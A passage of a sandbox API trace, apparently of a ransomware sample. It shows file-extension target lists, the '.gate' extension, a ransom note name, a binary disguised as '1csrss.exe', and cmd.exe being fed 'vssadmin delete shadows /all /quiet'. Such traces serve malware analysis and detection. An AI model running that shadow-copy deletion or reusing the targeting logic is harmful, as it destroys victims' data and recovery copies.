(HeapHandle=0x6e0000, Flags=0x0, Size=0x12) returned 0x6f7100 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b990 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bb10 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bb40 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bb70 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b930 [0270.974] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b8a0 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76b948 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x76bb58 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73cd58 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73ccf8 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73cc98 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73cd70 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73cc80 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73cf38 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73cdb8 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73cea8 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73cde8 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73cf20 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73cda0 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73cd88 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x73ce60 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x73ce00 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x73cf50 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xe) returned 0x73ce78 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x73ccc8 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x73c0a0 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73cec0 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x73bfc0 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73ced8 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73cc68 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73cdd0 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x73ce18 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x73cd10 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73ce30 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x73cf08 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73ce90 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73ce48 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x73cce0 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73cef0 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x73cd28 [0270.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x73cd40 [0270.976] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73ccb0 [0270.976] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x8) returned 0x73c020 [0270.976] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73d028 [0270.976] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73d238 [0270.976] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73cfb0 [0270.976] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73d0b8 [0270.976] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73d0d0 [0270.976] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xa) returned 0x73d148 [0270.976] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x724a00, Size=0x800) returned 0x73d330 [0270.976] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0270.976] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x739f10 | out: hHeap=0x6e0000) returned 1 [0270.976] lstrlenW (lpString="") returned 0 [0270.976] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c8c0 | out: hHeap=0x6e0000) returned 1 [0270.976] lstrlenW (lpString=".gate") returned 5 [0270.976] lstrlenW (lpString=".gate") returned 5 [0270.976] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c8c0 | out: hHeap=0x6e0000) returned 1 [0270.976] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c8f0, Size=0x20) returned 0x71e958 [0270.976] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e958, Size=0x40) returned 0x6f8710 [0270.976] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8710, Size=0x80) returned 0x726828 [0270.976] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73bfb0, Size=0x8) returned 0x73c000 [0270.976] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c000, Size=0x10) returned 0x73c8f0 [0270.976] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c8f0, Size=0x20) returned 0x71e7c8 [0270.976] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0270.976] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x726828 | out: hHeap=0x6e0000) returned 1 [0270.976] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c9b0, Size=0x20) returned 0x71e570 [0270.976] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e570, Size=0x40) returned 0x6f8710 [0270.976] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0270.976] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0270.976] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f8710 | out: hHeap=0x6e0000) returned 1 [0270.976] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c968, Size=0x20) returned 0x71e958 [0270.977] lstrlenW (lpString="Info.hta") returned 8 [0270.977] lstrlenW (lpString="Info.hta") returned 8 [0270.977] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e958 | out: hHeap=0x6e0000) returned 1 [0270.977] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x76bf68, nSize=0x7fff | out: lpFilename="C:\\Windows\\System32\\1csrss.exe" (normalized: "c:\\windows\\system32\\1csrss.exe")) returned 0x1e [0270.977] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x76bf68 | out: hHeap=0x6e0000) returned 1 [0270.977] lstrlenW (lpString="1csrss.exe") returned 10 [0270.977] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e7c8, Size=0x40) returned 0x6f8518 [0270.977] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c9e0, Size=0x20) returned 0x71e868 [0270.977] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73cb30, Size=0x20) returned 0x71e660 [0270.977] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e660, Size=0x40) returned 0x6f8710 [0270.977] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8710, Size=0x80) returned 0x726718 [0270.977] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x726718, Size=0x100) returned 0x73b048 [0270.977] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0270.977] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73b048 | out: hHeap=0x6e0000) returned 1 [0270.978] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x76bf68, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0270.978] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x77bf70 | out: hHeap=0x6e0000) returned 1 [0270.978] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x76bf68 | out: hHeap=0x6e0000) returned 1 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c000, Size=0x8) returned 0x73c010 [0270.979] lstrlenW (lpString="%windir%;") returned 9 [0270.979] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e868 | out: hHeap=0x6e0000) returned 1 [0270.979] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0270.979] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x75af58 | out: hHeap=0x6e0000) returned 1 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73cbf0, Size=0x20) returned 0x71e5e8 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e5e8, Size=0x40) returned 0x6f8560 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8560, Size=0x80) returned 0x726d78 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x726d78, Size=0x100) returned 0x73ba98 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c0e0, Size=0x8) returned 0x73c040 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c040, Size=0x10) returned 0x73cc50 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73cc50, Size=0x20) returned 0x71e728 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c100, Size=0x8) returned 0x73c0e0 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c060, Size=0x8) returned 0x73c040 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c0c0, Size=0x8) returned 0x73c100 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c100, Size=0x10) returned 0x73cbc0 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73cbc0, Size=0x20) returned 0x71e7a0 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c0e0, Size=0x10) returned 0x73cbc0 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c040, Size=0x10) returned 0x73c9c8 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73bf60, Size=0x8) returned 0x73c040 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c0c0, Size=0x8) returned 0x73c0e0 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73cbc0, Size=0x20) returned 0x71e7f0 [0270.979] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c9c8, Size=0x20) returned 0x71e5e8 [0270.980] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c000, Size=0x8) returned 0x73c050 [0270.980] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0270.980] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73ba98 | out: hHeap=0x6e0000) returned 1 [0270.980] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c998, Size=0x20) returned 0x71e6d8 [0270.980] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x75af58, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0270.980] lstrlenW (lpString="C:\\") returned 3 [0270.980] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0270.980] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x75af58 | out: hHeap=0x6e0000) returned 1 [0270.980] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73bf60, Size=0x82) returned 0x724a90 [0270.980] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73bf90, Size=0x100) returned 0x73b468 [0270.981] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x724a90, Size=0x104) returned 0x724c40 [0270.981] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73b468, Size=0x200) returned 0x739f10 [0270.981] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73bf70 | out: hHeap=0x6e0000) returned 1 [0270.981] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x739f10 | out: hHeap=0x6e0000) returned 1 [0270.981] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73cc50 | out: hHeap=0x6e0000) returned 1 [0270.981] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x726c68 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73caa0 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x726e88 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73ca28 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724c40 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73cc38 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724b20 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73cab8 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724bb0 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c9e0 | out: hHeap=0x6e0000) returned 1 [0270.982] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c9e0, Size=0x20) returned 0x71ea48 [0270.982] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71ea48, Size=0x40) returned 0x6f8908 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c100 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73cbc0 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x724a00 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c9c8 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x726ad0 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73cb30 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73bfd0 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c998 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f6520 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f75a0 | out: hHeap=0x6e0000) returned 1 [0270.982] lstrlenW (lpString="%systemdrive%") returned 13 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71e6d8 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7263e8 | out: hHeap=0x6e0000) returned 1 [0270.982] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c0c0 | out: hHeap=0x6e0000) returned 1 [0270.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x74af38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270 [0270.983] WaitForMultipleObjects (nCount=0x2, lpHandles=0x6fc3c8*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0319.974] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6fc3c8 | out: hHeap=0x6e0000) returned 1 [0319.974] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0319.974] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f8b00 | out: hHeap=0x6e0000) returned 1 [0319.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b260 [0319.975] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b260, Size=0x20) returned 0x7ddfc0 [0319.975] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7ddfc0, Size=0x40) returned 0x4565e70 [0319.975] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x4565e70, Size=0x80) returned 0x726718 [0319.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b1e8 [0319.975] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b1e8, Size=0x20) returned 0x7de038 [0319.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1fffc) returned 0x74af38 [0319.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x44f0048 [0319.975] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xfffe) returned 0x45cdea0 [0319.976] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b440 [0319.976] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b440, Size=0x20) returned 0x7ddb88 [0319.976] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7ddb88, Size=0x40) returned 0x4565918 [0319.976] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x4565918, Size=0x80) returned 0x726690 [0319.976] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x726690, Size=0x100) returned 0x73ba98 [0319.976] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0319.976] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73ba98 | out: hHeap=0x6e0000) returned 1 [0319.976] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x44f0048, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0319.976] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45cdea0 | out: hHeap=0x6e0000) returned 1 [0319.976] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x44f0048 | out: hHeap=0x6e0000) returned 1 [0319.977] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x320, hWritePipe=0x19fd54*=0x384) returned 1 [0319.977] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x338, hWritePipe=0x19fdc4*=0x378) returned 1 [0319.977] SetHandleInformation (hObject=0x384, dwMask=0x1, dwFlags=0x0) returned 1 [0319.977] SetHandleInformation (hObject=0x338, dwMask=0x1, dwFlags=0x0) returned 1 [0319.977] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x320, hStdOutput=0x378, hStdError=0x378), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x4c4, hThread=0x2b0, dwProcessId=0xd74, dwThreadId=0xd70)) returned 1 [0319.985] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0319.985] WriteFile (in: hFile=0x384, lpBuffer=0x726718*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x726718*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0319.985] CloseHandle (hObject=0x4c4) returned 1 [0319.985] CloseHandle (hObject=0x2b0) returned 1 [0319.985] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x74af38 | out: hHeap=0x6e0000) returned 1 [0319.986] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0319.986] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x726718 | out: hHeap=0x6e0000) returned 1 [0319.986] lstrlenW (lpString="%comspec%") returned 9 [0319.986] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7de038 | out: hHeap=0x6e0000) returned 1 [0319.986] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0319.986] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x6f73e0 | out: hHeap=0x6e0000) returned 1 [0319.986] ExitProcess (uExitCode=0x0) Thread: id = 37 os_tid = 0xdf4 Thread: id = 40 os_tid = 0xe58 Thread: id = 42 os_tid = 0xe84 [0271.002] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x73cc50 [0271.002] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73cc50, Size=0x20) returned 0x71e958 [0271.002] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e958, Size=0x40) returned 0x6f8560 [0271.002] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8560, Size=0x80) returned 0x726be0 [0271.002] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x726be0, Size=0x100) returned 0x73b258 [0271.002] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x73caa0 [0271.002] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73caa0, Size=0x20) returned 0x71e7c8 [0271.002] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x71e7c8, Size=0x40) returned 0x6f8560 [0271.002] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x6f8560, Size=0x80) returned 0x726718 [0271.003] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x726718, Size=0x100) returned 0x73b570 [0271.003] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0xc) returned 0x73cc50 [0271.003] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x4) returned 0x73c100 [0271.003] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x73caa0 [0271.003] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x73c100, Size=0x8) returned 0x73bf60 [0271.003] RtlAllocateHeap (HeapHandle=0x6e0000, 